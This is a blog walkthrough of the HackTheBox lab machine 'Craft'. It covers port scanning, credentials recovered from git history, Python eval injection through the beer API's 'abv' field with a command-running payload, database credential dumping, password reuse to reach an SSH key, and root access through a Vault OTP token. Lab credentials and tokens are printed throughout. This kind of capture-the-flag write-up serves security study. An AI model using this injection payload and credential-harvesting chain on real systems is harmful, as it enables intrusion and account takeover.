HTB Walkthrough: Craft

Craft was a medium-rated Linux box on hackthebox.eu, produced by rotarydrone. The box was pretty straightforward, once I learned about a python function I’d somehow never encountered before.

Hints

(highlight to reveal)

User 1: The path to user consists of several steps, but it starts when you commit.

User 2: Private repos are your friend.

Root: You don’t need to go far from home on this one.

Initial Enumeration

Per the box page, craft is a Linux host sitting at 10.10.10.110 in the hackthebox firing range network. Initial nmap scans show TCP 22 and 443 are open.

root@kali:~/htb/craft#  nmap -v -Pn -n 10.10.10.110 -p1-1000
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-19 15:37 EDT
Initiating SYN Stealth Scan at 15:37
Scanning 10.10.10.110 [1000 ports]
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 22/tcp on 10.10.10.110
Completed SYN Stealth Scan at 15:37, 1.69s elapsed (1000 total ports)
Nmap scan report for 10.10.10.110
Host is up (0.034s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open ssh
443/tcp open  https


Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds
           Raw packets sent: 1001 (44.044KB) | Rcvd: 1000 (40.008KB)

A scan on high ports also shows TCP 6022.

root@kali:~/htb/craft# nmap -v -Pn -n 10.10.10.110 -p1001-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-19 15:37 EDT
Initiating SYN Stealth Scan at 15:37
Scanning 10.10.10.110 [64535 ports]
Discovered open port 6022/tcp on 10.10.10.110
Completed SYN Stealth Scan at 15:38, 39.98s elapsed (64535 total ports)
Nmap scan report for 10.10.10.110
Host is up (0.033s latency).
Not shown: 64534 closed ports
PORT     STATE SERVICE
6022/tcp open  x11


Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 40.05 seconds
           Raw packets sent: 64755 (2.849MB) | Rcvd: 64997 (2.667MB)

Opening an ssh connection to port 22 throws up a nifty ascii beer glass and a password prompt.

craft_ssh

That open port 6022… Hm… XX22… Another ssh port?

root@kali:~/htb/craft# ssh 10.10.10.110 -p 6022
root@10.10.10.110: Permission denied (publickey).

But it wants a key and a user, neither of which I have at the moment, so it’s on to the web server.

The homescreen advertises this as the future home of “the largest repository of US-produced craft brews accessible over REST”

craft_home

Links at the top provide API documentation:

craft_api

And a git server:

craft_gogs

User

Looking over the API documentation, it looks like it requires a login for things like database updates and deletes. So I turn to the git repo to see if anyone has included any secrets in public posts.

Hit the ‘explore’ link, find the craft-api repo, and start digging. Pretty quickly, I find a ‘test.py’ script, that has a spot for credentials, but there’s nothing there.

clean_test_script

Click on the history link, though, and this commit of this file is listed as “Cleanup test”. So, what had to be cleaned up?

Dinesh’s credentials.

dinesh_creds

Remember, boys and girls – when you clean secrets out of your git repo, you have to clean up the history too!

I pulled down a copy of the repo, dropped dinesh’s credentials back into the test script (and set it to proxy through my Burp instance), and got myself a token:

Request
GET /api/auth/login HTTP/1.1
Host: api.craft.htb
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Authorization: Basic ZGluZXNoOjRhVWgwQThQYlZKeGdk

Response
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Thu, 22 Aug 2019 19:12:35 GMT
Content-Type: application/json
Content-Length: 140
Connection: close
Accept-Ranges: bytes

{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTY2NTAxNDU1fQ.0uAvrYOfo57buThAXTcDRoS5ODAbXHb46bxWg1uWbjw"}

Having fed this into burp, I can send it to repeater and generate new tokens on demand, which is nice, as they time out after five minutes.

Is there anything else in the repo that’s noteworthy? There is one open issue on bogus ABV values

bogus_abv

That last comment looks interesting… “Can we remove that sorry excuse for a ‘patch’ before something awful happens?” What’s so awful about the patch?

if eval('%s > 1' % request.json['abv']):

The developer (Dinesh, again) is sending unsanitized input to a python eval call. Eval evaluates whatever is fed to it as python code. So, in this case, whenever someone submits a new beer, it takes the ABV value (which it’s accepting as a string) and feeds it into this eval statement to ensure it’s not greater than 1 (which would be pure alcohol).

Full disclosure, I hadn’t encountered eval in a python context before, so I overlooked this at first. Seth Art had a good writeup on his blog.

Running the test script through burp also meant that I had a create brew call ready to go and mess with. I set it up to try and ping my box. Note the “,0.1” at the end of the command so that it plays nice with the comparison operator already in the eval statement.

POST /api/brew/ HTTP/1.1
Host: api.craft.htb
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNo
IiwiZXhwIjoxNTY2NTY2NzY3fQ.9RA1x_0elnJ3oSXuyRZ_pfoXZ84yQeIzy7lHFK4VAGU
Content-Type: application/json
Content-Length: 126

{"style": "foobar", "name": "foobar2", "abv": "__import__('os').popen('ping 
-c 3 10.10.14.X').read(),0.1", "brewer": "foobar"}

Back on my kali box, running tcpdump, I get

root@kali:~/htb/craft# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:25:01.510192 IP api.craft.htb > kali: ICMP echo request, id 18177, seq 0, length 64
09:25:01.510211 IP kali > api.craft.htb: ICMP echo reply, id 18177, seq 0, length 64
09:25:02.510970 IP api.craft.htb > kali: ICMP echo request, id 18177, seq 1, length 64
09:25:02.511002 IP kali > api.craft.htb: ICMP echo reply, id 18177, seq 1, length 64
09:25:03.510131 IP api.craft.htb > kali: ICMP echo request, id 18177, seq 2, length 64
09:25:03.510150 IP kali > api.craft.htb: ICMP echo reply, id 18177, seq 2, length 64

Success!

Netcat was giving me issues for a reverse shell, and acceptable length for the payload seemed to be limited, so I took a few minutes to upload and run a python reverse shell.

The shell dropped me in a busybox instance hosting the craft flask app, all running in docker. However, now having access to the backend, I can access the database credentials in the settings file at /opt/app/craft_api/settings.py

# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Python and pymysql are installed in the docker container, so I used python to establish a connection to the backend MySQL database and pillage it for credentials. The dbtest.py script provided a nice template for that, and after a minute, I was able to pull down

>>>cursor.fetchall()
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 
'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 
'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

With more credentials to work with, I went back to resources I’d already identified and tried them again. Still no luck on the ssh, but, like Dinesh, Bertram had used the same password for the craft API as he did for the git server, and now I was into his account.

Including his private repo.private_repo

Which held his private ssh key

gil_ssh_keys

To be fair, the key was password protected. But it used the same password he used for everything else, so…

gilfoyle_ssh

And the user flag was right there:

gilfoyle@craft:~$ cat user.txt
bbxxxxxxxxxxxxxxxxxxxxxxxxxxxxd4

Root

Once on the main box, it turned out everything I needed was really close to home.  Bertrand’s home directory has a file named .vault_token

gilfoyle@craft:~$ ls -la
total 36
drwx------ 4 gilfoyle gilfoyle 4096 Aug 22 13:18 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2546 Feb 9 2019 .viminfo

And his .bashrc references a VAULT_ADDR.

gilfoyle@craft:~$ cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.

# Note: PS1 and umask are already set in /etc/profile. You should not
# need this unless you want different defaults for root.
# PS1='${debian_chroot:+($debian_chroot)}\h:\w\$ '
# umask 022

# You may uncomment the following lines if you want `ls' to be colorized:
# export LS_OPTIONS='--color=auto'
# eval "`dircolors`"
# alias ls='ls $LS_OPTIONS'
# alias ll='ls $LS_OPTIONS -l'
# alias l='ls $LS_OPTIONS -lA'
#
# Some more alias to avoid making mistakes:
# alias rm='rm -i'
# alias cp='cp -i'
# alias mv='mv -i'

export VAULT_ADDR=https://vault.craft.htb:8200/
set +o history

A little googling turns up HashiCorp’s Vault product for managing passwords, tokens and other secrets.

Digging back into Bertrand’s craft-infra repository reveals that he’s configured it to provide one-time passwords for root ssh access.

root_otp_enabled.PNG

Looking over the vault documentation, given a valid vault token (which is in that .vault_token file), I can generate a valid OTP request…

gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key                Value
---                -----
lease_id           ssh/creds/root_otp/89521b1e-4b66-752f-b23c-184e62e3850d
lease_duration     768h
lease_renewable    false
ip                 127.0.0.1
key                58c5e23b-82f2-a0a6-1b2e-8f69152471e8
key_type           otp
port               22
username           root

And…

root_flag

All in all, this was a pretty clean box to attack. A fair amount of looping back to resources already examined for new goodies, but nothing really convoluted. And, sadly, not dissimilar from some things I’ve seen in the real world. Thanks, rotarydrone!

-30-

Author: TheKilt

Information Security, Cosmic Horror, Gaming, Homebrewing, BBQ

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: